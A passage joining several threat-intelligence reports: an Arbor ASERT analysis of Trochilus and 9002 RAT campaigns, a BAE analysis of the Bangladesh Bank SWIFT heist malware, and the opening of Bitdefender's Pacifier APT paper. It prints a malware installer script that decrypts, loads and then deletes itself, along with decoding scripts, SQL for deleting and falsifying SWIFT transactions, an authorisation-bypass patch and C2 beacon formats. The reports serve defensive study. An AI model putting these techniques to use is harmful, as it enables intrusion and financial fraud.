quickly loads its own copy, in the local directory, of SqmApi.dll which then generates a popup labeled success that prints the string update install success . This pop-up message has been observed in several of the malware samples contained in this set, and further drives home the Update theme of the malware installation tactic that has been observed in filenames. The SqmApi.dll file executes and generates the network connection to 222.222.222[.]222 on TCP/999 just after generating the update install success pop-up message. Next, plgus_res.dll is loaded and executed with CreateProcessA as seen in the following two images. Copyright 2015 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Figure 12: SqmApi.dll generates pop-up and initiates network connection Figure 13: Execution of SqmApi.dll results in the loading and execution of the file plgus_res.dll. Figure 14: Debugger illuminates the use of CreateProcessA to load plgus_res.dll Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Plgus_res.dll is actually a Trochilus RAT installation package created using the Nullsoft Installer (NSIS) format. Extracting the contents of plgus_res.dll with a specific version of 7zip (7z beta 9.38 in this case later versions did not properly extract every file) allows all of the files to be viewed, including the NSIS installation script itself, created by 7zip as [NSIS].nsi. Shell.dll and data.dat are both obfuscated files. Shell.dll is not an obvious PE file, having been obfuscated via an encoding scheme. Figure 15: Files extracted from plgus_res.dll by 7zip reveal additional staging Once the package file plgus_res.dll is properly decrypted, injected into memory and executed, the malware generates an outbound connection over TCP/25. Figure 16: Trochilus RAT outbound connection - obfuscated It is interesting to note that the first portion of binary data being sent from the compromised machine contains the hex value 0x7e. Following this, a data packet containing 0x7e bytes is sent. In the screenshot observed above, the network destination was no longer online. Therefore, traffic was redirected to a simulated network in order to capture packets. This malware attempted to evade sandbox analysis on several occasions, and was therefore coaxed to run manually. The malicious code injects into services.exe. The volatility memory forensics framework malfind Copyright 2015 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger plugin was used by ASERT research to determine that services.exe had been tampered with and a memory dump of the malware was extracted. This malware therefore appears to run only in memory and does not leave a footprint on the disk, except in the form of encoded files that do not execute by themselves and are resistant to static file malware detection processes and static analysis. The Shell.dll file is stored in an encoded manner, with the first 4095 bytes being subject to an XOR-based encoding scheme. The data.dat file was encoded in a very similar manner except the whole file was encoded. In the case of shell.dll and other files recovered from within this batch of RAR files, a cursory analysis that includes running the strings tool over the binaries revealed some artifacts, yet many details (including PE headers) were obfuscated in such a manner that static analysis tools will likely miss the malicious contents. There are two important values that need to be obtained from the [NSIS].nsi file that correspond to variable $1 and variable $2 that are used in an NSIS Integer Operation (IntOp). To use the following script (provided by ASERT) to decode other instances of shell.dll, the values 227 and 240 observed here will need to be replaced with whatever values are present inside the [NSIS].nsi file for the IntOp $1 and IntOp $2 functions (see Appendix I for the full contents of a recovered [NSIS].nsi file). import sys fp = open(sys.argv[1], "rb") enc_buf = fp.read() fp.close() one = 227 # IntOp $1 227 + 0 two = 240 # IntOp $2 240 + 0 three = 0 plain = [] for enc_byte in enc_buf: if i > 4095: break three = (one + two) % 255 # IntOp $3 $1 + $2 ; IntOp $3 $3 % 255 print "xor key: 0x%x" % three plain_byte = ord(enc_byte) ^ three # IntOp $R2 $R2 ^ $3 plain.append(chr(plain_byte)) one = two # IntOp $1 $2 + 0 two = three # IntOp $2 $3 + 0 i += 1 decrypted = "".join(plain) + enc_buf[4096:] fp = open(sys.argv[1] + ".decrypted", "wb") fp.write("".join(decrypted)) fp.close() Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger In this case, the decoded file MD5 is 304d83e15cce9b8dc826cdee2a96ef62 and can more easily be analyzed with IDA Pro or other static analysis tools. Once clean binaries were extracted by the python script, artifacts revealed a connection to source code shared at https://github[.]com/5loyd/trochilus known as the Trochilus RAT. Trochilus is a character from Greek mythology that apparently invented the chariot, but the word also means a kind of small bird and can refer to several types of hummingbirds. A third meaning comes from architecture, however the exact meaning intended by the developer is unknown. The NSIS script technique appears to be instrumented inside the builder for Trochilus, named Generator.exe. The default parameters (3 and 5) for the second-layer encoding scheme used by Trochilus were observed in this batch of samples, where the final payload was encoded inside data.dat by a routine called XorFibonacciCrypt. If the USE_ENCRYPTED_CORE token is enabled during the build, then this encoding routine is activated. #ifdef USE_ENCRYPTED_CORE debugLog(_T("decrypt dll file")); XorFibonacciCrypt((LPBYTE)content, content.Size(), (LPBYTE)content, 3, 5); #endif This code can be found in https://github[.]com/5loyd/trochilus/blob/master/client/servant/shell/Shell.cpp The source code for Shell.dll can be found at https://github[.]com/5loyd/trochilus/tree/master/client/servant/shell Various memory artifacts found from trochilus-master/client/servant/shell/SvtShell.cpp indicate that the threat actors are at least using this portion of the code. Other artifacts were found from Shell.cpp in the same directory. For example, the data.dat file can be found referenced at https://github[.]com/5loyd/trochilus/tree/master/client/servant/body The data.dat files built and encoded by Trochilus can be decoded using the following script: import sys fp = open(sys.argv[1], "rb") enc_buf = fp.read() fp.close() # these are passed as arguments to the decrypt function key_material_1 = 5 key_material_2 = 3 plain = [] for enc_byte in enc_buf: xor_key = (key_material_2 + key_material_1) % 255 plain_byte = ord(enc_byte) ^ xor_key Copyright 2015 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger plain.append(chr(plain_byte)) key_material_2 = key_material_1 key_material_1 = xor_key fp = open(sys.argv[1] + ".decrypted", "wb") fp.write("".join(plain)) fp.close() https://github[.]com/5loyd/trochilus/blob/master/client/servant/body/common.cpp contains a routine called XorFibonacciCrypt that matches code observed inside the DLL and inside the NSIS package configuration: for (DWORD i = 0; i < dwPlainLen; i++) BYTE xorchar = (last1 + last2) % MAXBYTE; last2 = last1; last1 = xorchar; lpOutput = (lpSource) ^ xorchar; lpOutput ++; lpSource ++; Figure 17: Trochilus RAT readme file describes basic capabilities Obtaining the source to the malware provided many insights, including the fundamental README that describes the basic functionality of the RAT (observed in Figure 17). Other researchers and analysts who wish to obtain additional insight should download the code for further analysis. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger After compiling the source code, the client builder for the Trochilus RAT malware appears as such: Figure 18: Trochilus RAT builder Generator.exe with Chinese -> English translations The builder application, named Generator.exe (MD5: 4710c9f5dc156db756dab7e017b0bdb3) provides an option for an IP address (default of 127.0.0.1) and an option to select HTTP, HTTPS, TCP, or UDP. The default port value for all settings is 8081, and the other values are -1. Generating the malware using the default settings (as seen above) results in the creation of a generator.ini file, which provides at-a-glance insight into how these values are used. Figure 19: Sample Trochilus RAT INI file A great number of additional insights into this malware are available via the source code for those that wish to perform further investigations. Suffice it to say that this malware is being used in targeted threat operations and deserves additional attention. It is currently unknown if 5loyd (aka floyd419, using mail floyd419[@]foxmail.com) has any connection to threat actors involved, or is simply providing code that others have used. Several watchers of 5loyd code on github also provide interesting code projects that could be used in advanced campaigns. 5loyd has also contributed to a Windows credential dumping application known as quarkspwdump that may be of interest to advanced threat researchers. Copyright 2015 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Figure 20: Github page for 5loyd where the trochilus RAT code is published Figure 21: Forum avatar for a user named floyd419 The bulk of development activity since the project was shared on github took place between May and July of 2015. OSINT on the e-mail address associated with 5loyd reveal a user named floyd419 that had posted on a Chinese matlab forum [6]. Nothing further was obtained on this author at this time, although a variety of other potentially interesting connections can be observed. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Awareness of the Trochilus RAT seems very low, based on search inquiries. No results were returned in English, however one hit was returned when searching the Chinese webspace [http://weisuo[.]org/?post=136] from a site calling itself Villiage Mudhorse ( ). The site discusses various TTPs of system penetration. The first user on the site (http://weisuo[.]org/?author=1), c4bbage posted the contents of the github Trochilus page on May 23, 2015. While c4bbage shows a strong interest in system penetration and related tools, there are no indications that c4bbage is involved in the threat activity described herein. However the site likely helped more people learn about trochilus. Figure 22: Posting about trochilus RAT on Chinese forum Initial inspection suggests there may only be two users on this site, author 1 c4bbage and author 3 zcgonvh Browsing the page of zcgonvh (http://weisuo[.]org/?author=3) reveals discussions about the China Chopper webshell, known to be used by various Chinese APT actors. This page indicates that zcgonvh is the author of China Chopper. A link to download China Chopper is also present on the site, but the code is inside a password protected ZIP. Despite attempts to utilize the password provided on the page, the password was not accepted. The link that discusses China Chopper is http://weisuo[.]org/?post=49. While this is an interesting bit of information that provides links to other Chinese APT tactics and tools, exploring this further connection is beyond the scope of this document and is left as a future exercise. Much more insight can be obtained via the source code, however the bottom line is that the Trochilus RAT appears to be relatively new and now that it has been discovered in the wild as part of targeted threat campaign activity, defenders can operate with additional awareness. Malware sample #7: 9002 RAT in Firefox Plugin An unprofiled instance of the 9002 RAT (3102 variant) was found inside a malicious Firefox plugin found at http://www.uecmyanmar[.]org/plugins/system/jatabs/jatabs/FlashVideoPlayer.php and was submitted to VirusTotal on August 21, 2015 from Japan and later on October 13 from Singapore. This file is no longer present on the UEC website, but provides further insight into threat activity. While the RAT family and variant is the same as discussed by Citizen Lab, this is a distinct sample. Copyright 2015 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Filename: FlashVideoPlayer.php MD5: fcd3bec917b1cc095c1f2b06a75c9412 The plugin is built inside a ZIP file construct and contains the following contents: MD5 (bootstrap.js) = bdd4b626ee6f2e15d7c3f80e7677003b MD5 (chrome.manifest) = 29f3da9349f67129dd66e245d5187b72 MD5 (eZNSMZ8r.exe) = 666522db14a021d1e255cc28c9fd8721 MD5 (install.rdf) = 010922d600054fe89cd1d98b53395d54 MD5 (overlay.xul) = 7f0be0ea9075dda2b318082d14c2181d The malware itself is the eZNSMZ8r.exe file, often misclassified as the Gamarue malware. The bootstrap.js file references the EXE as follows: xpi_guid="{65d5c9ea-f5d6-e277-4254-ce58d766656e}";payload_name="eZNSMZ8r.exe"; A user installing this Add-on would receive the following warning (when using a recent version of Firefox): Figure 23: Malicious Firefox add-on notification indicates that the add-on is unverified Ignoring the prompt results in the presence of a fake Adobe Flash Player in the Extensions list from within the Firefox about:addons menu. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Figure 24: Artifacts left from unsuccessful installation of the malware Accepting the risk and clicking on Install results in the spawning of two additional processes. One is the aforementioned instance of the malicious binary named eZNSMZ8r.exe (running from C:\Windows\tasks\eZNSMZ8r.exe), which launches another executable named Untitled.exe. Figure 25: Execution path of the 3102 variant of the 9002 RAT Once the malware is successfully installed, there is no indication that an extension is active, as the Extensions list in Firefox does not reflect the presence of Adobe Flash Player (as seen above, from a nonsuccessful installation). Once Firefox is closed, the malware continues to execute. The malware makes a DNS query for client.secvies[.]com, which as of this writing resolves to 123.1.181[.]38 but previously resolved to 103.240.203[.]100 from the time period of August 20-25 2015. Since this latter IP address more closely corresponds with the timing scheme associated with the campaign, a review of other resolutions for this IP is of interest and reveals other PlugX activity taking place on the domain googletranslatione[.]com. A Full table of interesting domain resolutions for this IP and their timestamps is included herein: Chinarrw[.]com 2015-11-17 11:16:18 2015-11-17 11:16:18 7caitu[.]com 2015-11-10 18:38:03 2015-11-10 18:38:03 www.chinarrw[.]com 2015-11-05 19:13:37 2015-11-05 19:13:37 7caitu[.]com 2015-10-29 07:22:22 2015-11-04 14:00:47 googletranslatione[.]com 2015-08-04 09:39:46 2015-08-25 15:17:56 client.secvies[.]com 2015-08-20 20:16:58 2015-08-25 05:02:28 Copyright 2015 Arbor Networks, Inc. All rights reserved. PlugX EvilGrab (or other RAT) ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger As the malware executes, we see the telltale beacon of the 3102 variant of the 9002 RAT as it beacons to the C2, as well as an identifier being send of UEC 21050816 which likely indicates the date and subject of interest involved in the threat activity. Further into the C2 beacon packet we see information about the compromised machine. Figure 26: 3102 variant of the 9002 RAT beaconing to C2 with identifier UEC 20150816 Recommendations Malware such as PlugX, the 9002 RAT, EvilGrab, and the newly discovered Trochilus RAT are in use in the wild and are likely providing actors with the tools they need to perform actions on objectives against their targets. Both host and network monitoring processes should be put into place in order to detect these malware families. While these malware families have clearly been used against other targets (with the exception of Trochilus which requires further research), organizations within and related to Myanmar, or those organizations associated with the UNDP should be aware that they may have been (and may still be) a target and should remain alert to any past or future e-mail messages that might contain spearphish or exploit code in attachments. Due to spearphish delivery in other related campaigns, any mail messages or other content that point users towards interactions with RAR files are also potentially suspicious. Additionally, an investigation should be triggered when such organizations observe network traffic that relates the content described herein. In general, incident responders and threat intelligence staff should be aware of geopolitical targeting that affects their interests and take appropriate actions. If log files containing malicious activity are available, they can be leveraged to determine threat campaign activity. This allows responders to track spearphish attempts and other exploitation vectors from the source to any targeted systems. Ongoing access to strategic information is often the ultimate goal of threat actors. Determining what strategic information is of interest can help organizations better pinpoint defensive technologies to detect compromise, thus limiting their exposure and exfiltration of sensitive data. Arbor ASERT is interested in any artifacts from the use of these malware and encourages any customers or other organizations that have been targeted to contact us for additional discussions. Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger Appendix I: NSIS script used to unpack and process Trochilus RAT samples ; NSIS script NSIS-3 ; Install SetCompressor /SOLID lzma SetCompressorDictSize 8 ; -------------------; HEADER SIZE: 3976 ; START HEADER SIZE: 300 ; MAX STRING LENGTH: 1024 ; STRING CHARS: 898 OutFile [NSIS].exe !include WinMessages.nsh SilentInstall silent ; -------------------; LANG TABLES: 1 ; LANG STRINGS: 38 Name Test BrandingText "Nullsoft Install System v3.0b2" ; LANG: 1033 LangString LSTR_0 1033 "Nullsoft Install System v3.0b2" LangString LSTR_1 1033 "$(LSTR_2) Setup" LangString LSTR_2 1033 Test LangString LSTR_5 1033 "Can't write: " LangString LSTR_8 1033 "Could not find symbol: " LangString LSTR_9 1033 "Could not load: " LangString LSTR_17 1033 "Error decompressing data! Corrupted installer?" LangString LSTR_19 1033 "ExecShell: " LangString LSTR_21 1033 "Extract: " LangString LSTR_22 1033 "Extract: error writing to file " LangString LSTR_24 1033 "No OLE for: " LangString LSTR_25 1033 "Output folder: " LangString LSTR_29 1033 "Skipped: " LangString LSTR_30 1033 "Copy Details To Clipboard" LangString LSTR_36 1033 "Error opening file for writing: $\r$\n$\r$\n$0$\r$\n$\r$\nClick Abort to stop the installation,$\r$\nRetry to try again, or$\r$\nIgnore to skip this file." LangString LSTR_37 1033 Custom InstType $(LSTR_37) ; Custom ; wininit = $WINDIR\wininit.ini ; ------------------- Copyright 2015 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger ; SECTIONS: 1 ; COMMANDS: 56 Section RC ; Section_0 ; AddSize 362 SectionIn 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 RO StrCpy $R1 1024 System::Call "kernel32::ExpandEnvironmentStrings(t $\"%ALLUSERSPROFILE%\WEventsCache$\",t .R1,i 1024)" ; Call Initialize_____Plugins ; SetOverwrite off ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push "kernel32::ExpandEnvironmentStrings(t $\"%ALLUSERSPROFILE%\WEventsCache$\",t .R1,i 1024)" ; CallInstDLL $PLUGINSDIR\System.dll Call StrCpy $INSTDIR $R1 SetOutPath $INSTDIR SetOverwrite on File shell.dll File data.dat FileOpen $R1 $INSTDIR\Shell.dll a IntOp $1 105 + 0 IntOp $2 141 + 0 IntOp $3 0 + 0 StrCpy $R3 0 Goto label_17 label_16: IntOp $R3 $R3 + 1 label_17: IntCmp $R3 4095 0 0 label_29 IntOp $3 $1 + $2 IntOp $3 $3 % 255 FileReadByte $R1 $R2 FileSeek $R1 -1 CUR IntOp $R2 $R2 ^ $3 FileWriteByte $R1 $R2 IntOp $1 $2 + 0 IntOp $2 $3 + 0 Goto label_16 Goto label_16 Goto label_29 label_29: FileClose $R1 System::Call "$INSTDIR\Shell.dll::Init(i 1)" ; Call Initialize_____Plugins ; SetOverwrite off ; AllowSkipFiles off ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push "$INSTDIR\Shell.dll::Init(i 1)" ; CallInstDLL $PLUGINSDIR\System.dll Call System::Call "kernel32::GetModuleFileName(i 0,t .R1,i 1024)" ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll Proprietary and Confidential Information of Arbor Networks, Inc. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger ; SetDetailsPrint lastused ; Push "kernel32::GetModuleFileName(i 0,t .R1,i 1024)" ; CallInstDLL $PLUGINSDIR\System.dll Call ExecShell open cmd.exe "/c ping 127.0.0.1&del $\"$R1$\"" SW_HIDE SectionEnd ; "open cmd.exe" Function Initialize_____Plugins SetDetailsPrint none StrCmp $PLUGINSDIR "" 0 label_52 Push $0 SetErrors GetTempFileName $0 Delete $0 CreateDirectory $0 IfErrors label_53 StrCpy $PLUGINSDIR $0 Pop $0 label_52: Return label_53: MessageBox MB_OK|MB_ICONSTOP "Error! Can't initialize plug-ins directory. Please try again later." /SD IDOK Quit FunctionEnd NOTE: a possibly imperfect reconstruction of the NSIS script results in artifacts below. ; -------------------; UNREFERENCED STRINGS: 1 ProgramFilesDir 17 CommonFilesDir 32 "C:\Program Files" 49 $PROGRAMFILES 53 "$PROGRAMFILES\Common Files" 70 $COMMONFILES Several interesting elements inside this script stand out. In particular, we see SilentInstall silent which likely makes for an installation of the malware that provides no notification to the user. We see that threat actors have used Nullsoft Install System v3.0b2, which was released on August 5, 2015 and provides for Windows 10 installation support [http://sourceforge.net/p/nsis/news/2015/08/nsis-30b2-released/]. Therefore, we can know that at least this package was designed after August 5, 2015. We can see from the config that the LZMA compression option is used (SetCompressor /SOLID lzma) which apparently provides for higher compression rates. The /SOLID option compresses all of the installer data into one block, resulting in greater compression ratios (and potentially further complicating static analysis and detection routines). Copyright 2015 Arbor Networks, Inc. All rights reserved. ASERT Threat Intelligence Report Uncovering the Seven Pointed Dagger References 1. https://asert.arbornetworks.com/defending-the-white-elephant/ 2. http://researchcenter.paloaltonetworks.com/2015/06/evilgrab-delivered-by-watering-hole-attack-onpresident-of-myanmars-website/ 3. https://citizenlab.org/2015/10/targeted-attacks-ngo-burma/ 4. http://pages.arbornetworks.com/rs/082-KNA087/images/ASERT%20Threat%20Intelligence%20Brief%20201505%20PlugX%20Threat%20Activity%20in%20Myanmar.pdf 5. http://about-threats.trendmicro.com/cloud-content/us/ent-primers/pdf/2q-report-on-targetedattack-campaigns.pdf 6. http://webcache.googleusercontent.com/search?q=cache:yZN1nJdkDD0J: www.ilovematlab.cn/spaceuid-896373.html+&cd=11&hl=en&ct=clnk&gl=us About ASERT The Arbor Security Engineering & Response Team (ASERT) at Arbor Networks delivers world-class network security research and analysis for the benefit of today's enterprise and network operators. ASERT engineers and researchers are part of an elite group of institutions that are referred to as super remediators, and represent the best in information security. This is a reflection of having both visibility and remediation capabilities at a majority of service provider networks globally. ASERT shares operationally viable intelligence with hundreds of international Computer Emergency Response Teams (CERTs) and with thousands of network operators via intelligence briefs and security content feeds. ASERT also operates the world1s largest distributed honeynet, actively monitoring Internet threats around the clock and around the globe via ATLAS , Arbor's global network of sensors: http://atlas.arbor.net. This mission and the associated resources that Arbor Networks brings to bear to the problem of global Internet security is an impetus for innovation and research. To view the latest research, news, and trends from Arbor, ASERT and the information security community at large, visit our Threat Portal at http://www.arbornetworks.com/threats/. Proprietary and Confidential Information of Arbor Networks, Inc. Two bytes to $951m baesystemsai.blogspot.co.uk /2016/04/two-bytes-to-951m.html In February 2016 one of the largest cyber heists was committed and subsequently disclosed. An unknown attacker gained access to the Bangladesh Bank s (BB) SWIFT payment system and reportedly instructed an American bank to transfer money from BB s account to accounts in The Philippines. The attackers attempted to steal $951m, of which $81m is still unaccounted for. The technical details of the attack have yet to be made public, however we ve recently identified tools uploaded to online malware repositories that we believe are linked to the heist. The custom malware was submitted by a user in Bangladesh, and contains sophisticated functionality for interacting with local SWIFT Alliance Access software running in the victim infrastructure. This malware appears to be just part of a wider attack toolkit, and would have been used to cover the attackers tracks as they sent forged payment instructions to make the transfers. This would have hampered the detection and response to the attack, giving more time for the subsequent money laundering to take place. The tools are highly configurable and given the correct access could feasibly be used for similar attacks in the future. Malware samples SHA1 Compile time Size (bytes) Filename 525a8e3ae4e3df8c9c61f2a49e38541d196e9228 2016-02-05 11:46:20 65,536 evtdiag.exe 76bab478dcc70f979ce62cd306e9ba50ee84e37e 2016-02-04 13:45:39 16,384 evtsys.exe 70bf16597e375ad691f2c1efa194dbe7f60e4eeb 2016-02-05 08:55:19 24,576 nroff_b.exe 6207b92842b28a438330a2bf0ee8dcab7ef0a163 33,848 gpca.dat We believe all files were created by the same actor(s), but the main focus of the report will be on 525a8e3ae4e3df8c9c61f2a49e38541d196e9228 as this is the component that contains logic for interacting with the SWIFT software. The malware registers itself as a service and operates within an environment running SWIFT s Alliance software suite, powered by an Oracle Database. The main purpose is to inspect SWIFT messages for strings defined in the configuration file. From these messages, the malware can extract fields such as transfer references and SWIFT addresses to interact with the system database. These details are then used to delete specific transactions, or update transaction amounts appearing in balance reporting messages based on the amount of Convertible Currency available in specific accounts. This functionality runs in a loop until 6am on 6th February 2016. This is significant given the transfers are believed to have occurred in the two days prior to this date. The tool was custom made for this job, and shows a significant level of knowledge of SWIFT Alliance Access software as well as good malware coding skills. Malware config and logging When run, the malware decrypts the contents of its configuration file, using the RC4 key: 4e 38 1f a7 7f 08 cc aa 0d 56 ed ef f9 ed 08 This configuration is located in the following directory on the victim device: [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\gpca.dat The configuration file contains a list of transaction IDs, some additional environment information, and the following IP address to be used for command-and-control (C&C): 196.202.103.174 The sample also uses the following file for logging: [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\recas.dat Module patching The malware enumerates all processes, and if a process has the module liboradb.dll loaded in it, it will patch 2 bytes in its memory at a specific offset. The patch will replace 2 bytes 0x75 and 0x04 with the bytes 0x90 and 0x90. These two bytes are the JNZ opcode, briefly explained as 'if the result of the previous comparison operation is not zero, then jump into the address that follows this instruction, plus 4 bytes'. Essentially, this opcode is a conditional jump instruction that follows some important check, such as a key validity check or authorisation success check. The patch will replace this 2-byte conditional jump with 2 'do-nothing' (NOP) instructions, effectively forcing the host application to believe that the failed check has in fact succeeded. For example, the original code could look like: 85 C0 75 04 33 c0 eb 17 test eax, eax ; some important check jnz failed ; if failed, jump to 'failed' label below xor eax, eax ; otherwise, set result to 0 (success) jmp exit ; and then exit failed: B8 01 00 00 00 mov eax, 1 ; set result to 1 (failure) Once it's patched, it would look like: 85 C0 33 c0 eb 17 test eax, eax ; some important check ; 'do nothing' in place of 0x75 ; 'do nothing' in place of 0x04 xor eax, eax ; always set result to 0 (success) jmp exit ; and then exit failed: B8 01 00 00 00 mov eax, 1 ; never reached: set result to 1 (fail) As a result, the important check result will be ignored, and the code will never jump to 'failed'. Instead, it will proceed into setting result to 0 (success). The liboradb.dll module belongs to SWIFT's Alliance software suite, powered by Oracle Database, and is responsible for: Reading the Alliance database path from the registry; Starting the database; Performing database backup & restore functions. By modifying the local instance of SWIFT Alliance Access software, the malware grants itself the ability to execute database transactions within the victim network. SWIFT message monitoring The malware monitors SWIFT Financial Application (FIN) messages, by parsing the contents of the files *.prc and *.fal located within the directories: [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcm\in\ [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcm\out\ It parses the messages, looking for strings defined in gpca.dat. We expect these will be unique identifiers that identify malicious transactions initiated by the attackers. If present, it then attempts to extract a MESG_TRN_REF and MESG_SENDER_SWIFT_ADDRESS from that same message by looking for the following hard coded strings: "FIN 900 Confirmation of Debit" "20: Transaction" "Sender :" [additional filters from the decrypted configuration file gpca.dat] The malware will use this extracted data to form valid SQL statements. It attempts to retrieve the SWIFT unique message ID (MESG_S_UMID) that corresponds to the transfer reference and sender address retrieved earlier: SELECT MESG_S_UMID FROM SAAOWNER.MESG_%s WHERE MESG_SENDER_SWIFT_ADDRESS LIKE '%%%s%%' AND MESG_TRN_REF LIKE '%%%s%%'; The MESG_S_UMID is then passed to DELETE statements, deleting the transaction from the local database. DELETE FROM SAAOWNER.MESG_%s WHERE MESG_S_UMID = '%s'; DELETE FROM SAAOWNER.TEXT_%s WHERE TEXT_S_UMID = '%s'; The SQL statements are dropped into a temporary file with the 'SQL' prefix. The SQL statements are prepended with the following prefixed statements: set heading off; set linesize 32567; SET FEEDBACK OFF; SET ECHO OFF; SET FEED OFF; SET VERIFY OFF; Once the temporary file with the SQL statements is constructed, it is executed from a shell script with 'sysdba' permissions. An example is shown below: cmd.exe /c echo exit | sqlplus -S / as sysdba @[SQL_Statements] > [OUTPUT_FILE] Login monitoring After start up the malware falls into a loop where it constantly checks for the journal record that contains the "Login" string in it: SELECT * FROM (SELECT JRNL_DISPLAY_TEXT, JRNL_DATE_TIME FROM SAAOWNER.JRNL_%s WHERE JRNL_DISPLAY_TEXT LIKE '%%LT BBHOBDDHA: Log%%' ORDER BY JRNL_DATE_TIME DESC) A WHERE ROWNUM = 1; NOTE: BBHOBDDH is the SWIFT code for the Bangladesh Bank in Dhaka. If it fails to find the "Login" record, it falls asleep for 5 seconds and then tries again. Once the "Login" record is found, the malware sends a GET request to the remote C&C. The GET request has the format: [C&C_server]/al? [data] The malware notifies the remote C&C each hour of events, sending "---O" if the "Login" (open) event occurred, "---C" in case "Logout" (close) event occurred, or "---N" if neither of the events occurred, e.g.: [C&C_server]/al?--O Manipulating balances The malware monitors all SWIFT messages found in: [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\in\*.* [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\out\*.* [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\unk\*.* [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\nfzp [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\nfzf [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\fofp [ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\foff The messages are parsed looking for information tagged with the following strings: "19A: Amount" ": Debit" "Debit/Credit :" "Sender :" "Amount :" "FEDERAL RESERVE BANK" " D" " C" "62F: " 60F: " "60M: " "62M: " "Credit" "Debit" " 64: " " 20: Transaction" "90B: Price" For example, the "62F:" field specifies the closing balance, "60F:" is opening balance, "19A:" is transaction amount. The malware also checks if the messages contain a filter specified within the configuration file gpca.dat. The logged in account, as seen from the journal, is then used to check how much Convertible Currency amount ( MESG_FIN_CCY_AMOUNT) it has available: SELECT MESG_FIN_CCY_AMOUNT FROM SAAOWNER.MESG_%s WHERE MESG_S_UMID = '%s'; Alternatively, it can query for a message for a specified sender with a specified amount of Convertible Currency: SELECT MESG_S_UMID FROM SAAOWNER.MESG_%s WHERE MESG_SENDER_SWIFT_ADDRESS LIKE '%%%s%%' AND MESG_FIN_CCY_AMOUNT LIKE '%%%s%%'; The amount of Convertible Currency is then manipulated in the message by changing it to the arbitrary value ( MESG_FIN_CCY_AMOUNT UPDATE SAAOWNER.MESG_%s SET MESG_FIN_CCY_AMOUNT = '%s' WHERE MESG_S_UMID = '%s'; UPDATE SAAOWNER.TEXT_%s SET TEXT_DATA_BLOCK = UTL_RAW.CAST_TO_VARCHAR2('%s') WHERE TEXT_S_UMID = '%s'; Printer manipulation In order to hide the fraudulent transactions carried out by the attacker(s), the database/message manipulations are not sufficient. SWIFT network also generates confirmation messages, and these messages are sent by the software for printing. If the fraudulent transaction confirmations are printed out, the banking officials can spot an anomaly and then respond appropriately to stop such transactions from happening. Hence, the malware also intercepts the confirmation SWIFT messages and then sends for printing the 'doctored' (manipulated) copies of such messages in order to cover up the fraudulent transactions. To achieve that, the SWIFT messages the malware locates are read, parsed, and converted into PRT files that describe the text in Printer Command Language (PCL). These temporary PRT files are then submitted for printing by using another executable file called nroff.exe, a legitimate tool from the SWIFT software suite. The PCL language used specifies the printer model, which is "HP LaserJet 400 M401": Once sent for printing, the PRT files are then overwritten with '0's (reliably deleted). CONCLUSIONS The analysed sample allows a glimpse into the toolkit of one of the team in well-planned bank heist. Many pieces of the puzzle are still missing though: how the attackers sent the fraudulent transfers; how the malware was implanted; and crucially, who was behind this. This malware was written bespoke for attacking a specific victim infrastructure, but the general tools, techniques and procedures used in the attack may allow the gang to strike again. All financial institutions who run SWIFT Alliance Access and similar systems should be seriously reviewing their security now to make sure they too are not exposed. This attacker put significant effort into deleting evidence of their activities, subverting normal business processes to remain undetected and hampering the response from the victim. The wider lesson learned here may be that criminals are conducting more and more sophisticated attacks against victim organisations, particularly in the area of network intrusions (which has traditionally been the domain of the actor). As the threat evolves, businesses and other network owners need to ensure they are prepared to keep up with the evolving challenge of securing critical systems. White Paper Pacifier APT White Paper Contents Overview....................................................................................................................................................................... 3 2014-15 Executable Files......................................................................................................................................... 4 2014-15 Browser Extension.................................................................................................................................. 11 Other 2015 variants..................................................................................................................................................15 2016 attack wave..................................................................................................................................................... 16 IOCs...............................................................................................................................................................................22 SHA1 hashes of all known variants...................................................................................................................24 Clean documents opened by droppers............................................................................................................26 Authors: Marius TIVADAR Cristian ISTRATE Iulian MUNTEAN Andrei ARDELEAN White Paper Overview Bitdefender detected and blocked an ongoing cyber-espionage campaign against Romanian institutions and other foreign targets. The attacks started in 2014, with the latest reported occurrences in May of 2016. The APT, dubbed Pacifier by Bitdefender researchers, makes use of malicious .doc documents and .zip files distributed via spear phishing e-mail. Documents used range from curriculum vitae, to invitations to social functions or conferences, to second hand car offers and even, in one case, a letter of instructions from a high-ranking official. Some were marked as urgent important immediate action required and so on. Other samples of the same 